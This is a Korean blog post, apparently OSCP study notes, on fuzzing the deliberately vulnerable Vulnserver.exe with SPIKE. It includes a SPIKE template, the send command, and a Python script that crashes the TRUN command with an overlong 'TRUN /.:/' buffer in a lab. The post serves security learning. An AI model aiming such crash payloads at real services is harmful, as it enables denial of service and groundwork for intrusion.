Fuzzing

[SPIKE] Vulnserver.exe

우와해커 2020. 7. 19. 15:28

OSCP를 공부함에 있어 해결되지 않은 개념을 정리하기 위해 작성하였습니다.

 

OSCP 버퍼오버플로우 부분을 공부 하던 중 Vulnserver.exe를 트리거 하기 위해 구성된 페이로드는 어떻게 발견되었으며 왜 이런식으로 구성된건지 의문이 들었다.

 

아래 블로그와 URL에서 그 궁금증을 해결할 수 있었다.

http://sh3llc0d3r.com/vulnserver-fuzzing-with-spike/

https://resources.infosecinstitute.com/intro-to-fuzzing/#gref

 

이 포스팅은 위 URL을 실습 후 정리한 내용입니다.

더 자세한 사항을 공부하고 싶으시면 URL을 참고해주세요.

 

Vulnserver.exe

- 보안연구원들의 버퍼오버플로우 학습을 위해 실습용으로 제작된 프로그램이다.

- 윈도우 환경에서 실행된다.

https://github.com/stephenbradshaw/vulnserver

 

 

퍼징과 프로토콜

퍼징이란 소프트웨어의 버그를 발견하기 위해 무작위로 데이터를 대입하는 것을 의미한다.

퍼징을 돌리기 위해서는 먼저 통신하는 어플리케이션에 대한 프로토콜(규칙)을 분석해야한다.

규칙이란 데이터가 송수신되기 위한 형태를 의미하며 프로토콜 구조를 이해하였다면 이를 토대로 퍼징을 수행하면된다.

패킷(데이터) 송수신 형태를 관찰하기 위해 와이어샤크를 사용한다.

 

Vulnserver.exe 프로토콜 분석

1. 와이어샤크를 실행 후 TCP Stream Follow

2.. windows7에 vulnserver.exe를 실행 후 nc를 이용해 접속

3. 명령어 전송 및 응답 값 확인

- HELP

- STATS 1

- STATS 2

- TRUN 3

.....

프로토콜을 이해하였다면 이제 퍼징도구를 사용해보자. SPIKE를 사용해 볼 것이다.

 

SPIKE

- SPIKE란 오픈소스로 공개된 퍼징 도구로써 칼리 리눅스에 기본으로 내장되어 있다.

 

https://github.com/guilhermeferreira/spikepp

 

SPIKE는 프로토콜 퍼즐 생성 키트입니다. C++ 프로그래밍 언어를 사용하는 네트워크 기반 프로토콜에 대해 사용자가 직접 솜털을 만들 수 있는 API를 제공한다. 이 도구는 C 코더가 사용할 수 있도록 하는 몇 가지 원시적 요소를 정의하여 네트워크 서비스로 보낼 수 있는 "SPIKES"라는 솜털 메시지를 구성할 수 있도록 한다.....

 

 

SPIKE 템플릿 작성하기

- 깊게 들어가면 시간이 오래 소요될 것으로 보인다. 자세한 사용법은 별도로 포스팅이 필요할 것 같다.

- 아래처럼 탬플릿을 작성하여 vulnserver.exe의 TRUN 명령에 대한 퍼징을 수행할 것이다.

 

 

템플릿 파일명: temp.spk
s_readline();              # 서버로부터 데이터를 수신한다.
s_string("TRUN ");         # 서버로 데이터를 송신한다. TRUN은 고정 문자열이다.
s_string_variable("0");    # 뒤에 variable이 의미하듯 실제 퍼징이 수행되는 부분이다.
                           # 0은 기본 값이다. 

 

탬플릿을 사용하여 패킷 전송하기

- Example
generic_send_tcp <IP address> <port number> <template name> <SKIPVAR> <SKIPSTR>

- 실습 코드
generic_send_tcp 192.168.2.132 9999 temp.spk 0 0

 

테스트

1. 와이어샤크 실행하여 패킷 캡쳐

2.. Vulnserver.exe를 실행

3.. 올리디버거를 Attach 후 Run 

4. 스파이크 패킷 전송

 

 

Crash 분석

- 버퍼오버플로우가 발생하여 크래시가 발생하면 디버가가 멈추게 된다.

- EIP를 통해 크래시를 발생시킨 페이로드의 구성을 확인할 수 있으며 와이어샤크를 통해 몇 바이트를 전송하였으며 어떤 퍼징 값에 의해 크래시가 발생하였는지 정확히 확인크할 수 있다.

 

확인된 전체 페이로드는 다음과 같다.

TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAA..............

TRUN: 서버와 통신하는 명령어

/.:/AAAAAAAA: 페이로드 값

 

 

Crash 재현하기

- 재현이 가능해야 다음 단계인 쉘 코드 실행을 위한 분석으로 넘어 갈 수 있다.

- 버퍼오버플로우를 발생하기 위한 조건을 다시한번 체크 할 수 있다.

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.132"
port=9999

buffer = "TRUN /.:/" + "A" * 5050

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

 

* 여기서 궁금증은 TRUN 뒤에 굳이 페이로드 앞부분이 /.:/ 으로 구성되어야 하는가였다.

그래서 재현코드에서 다음과 같이 페이로드를 A로만 수정해서 다시 테스트해보았다.

TRUN AAAAAAAAAAAAAAAAAAAAAAA............

음 안되는구나 ^^;;; 크래시를 발생시키려면 /.:/ 역시 페이로드에 포함되어야 한다는 것을 알 수 있었다. 

원래 퍼징에 의한 취약점 발견은 시간이 엄청 오래 걸릴 수 있다, 그런데 스파이크는 5초도 안되서 트리거 해버린다. ㅋ

 

운이 좋은것인지 아니면 개발자가 SPIKE 퍼징 도구에 바로 탐지되도록 의도한 것일지도 모른다는 생각이 들었다.